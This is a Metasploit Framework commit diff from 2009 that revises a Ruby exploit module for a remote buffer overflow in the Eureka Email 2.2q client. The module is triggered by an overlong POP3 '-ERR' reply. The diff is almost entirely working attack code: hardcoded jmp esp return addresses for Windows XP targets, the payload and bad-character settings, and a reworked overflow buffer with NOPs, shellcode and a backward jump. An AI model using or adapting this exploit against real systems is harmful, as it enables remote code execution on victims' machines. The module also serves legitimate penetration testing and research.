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metasploit-framework
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hopefully an improvement in reliability 

git-svn-id: file:///home/svn/framework3/trunk@7810 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2009-12-10 20:28:32 +00:00
parent 8179472a35
commit 9eb6063448
1 changed files with 31 additions and 17 deletions
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48
modules/exploits/windows/misc/eureka_mail_err.rb
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@ -14,15 +14,22 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',
# bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1
# overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address
'Description' => %q{
This module exploits a buffer overflow in the Eureka Email 2.2q
client that is triggered through an excessively long ERR message.
NOTE: this exploit isn't very reliable. Unfortunately reaching the
vulnerable code can only be done when manually checking mail (Ctrl-M).
Checking at startup will not reach the code targeted here.
},
'Author' =>
[
'Francis Provencher (Protek Research Labs)',
'Dr_IDE',
'dookie'
'Dr_IDE',
'dookie',
'jduck'
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
@ -34,19 +41,21 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2000,
'Space' => 700,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp user32.dll
[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp user32.dll
[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll
[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll
],
'Privileged' => false,
'DefaultTarget' => 0))
@ -58,21 +67,26 @@ class Metasploit3 < Msf::Exploit::Remote
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
return if ((p = regenerate_payload(client)) == nil)
already = "Your POP3 server had a problem.\n"
already << datastore['LHOST']
already << " said:\n\n -ERR "
# Unleash the Egghunter!
eh_stub, eh_egg = generate_egghunter
buffer = "-ERR "
buffer << rand_text_alpha_upper(710)
buffer << [target.ret].pack('V')
buffer << make_nops(10)
buffer << eh_stub
buffer << make_nops(200)
buffer << rand_text_alpha_upper(2000)
buffer << eh_egg * 2
space = (512+256+4) - already.length
buffer << make_nops(space - payload.encoded.length)
buffer << payload.encoded
buffer << [target.ret].pack('V')
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string
buffer << "\r\n"
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
client.put(buffer)
handler
service.close_client(client)
end
end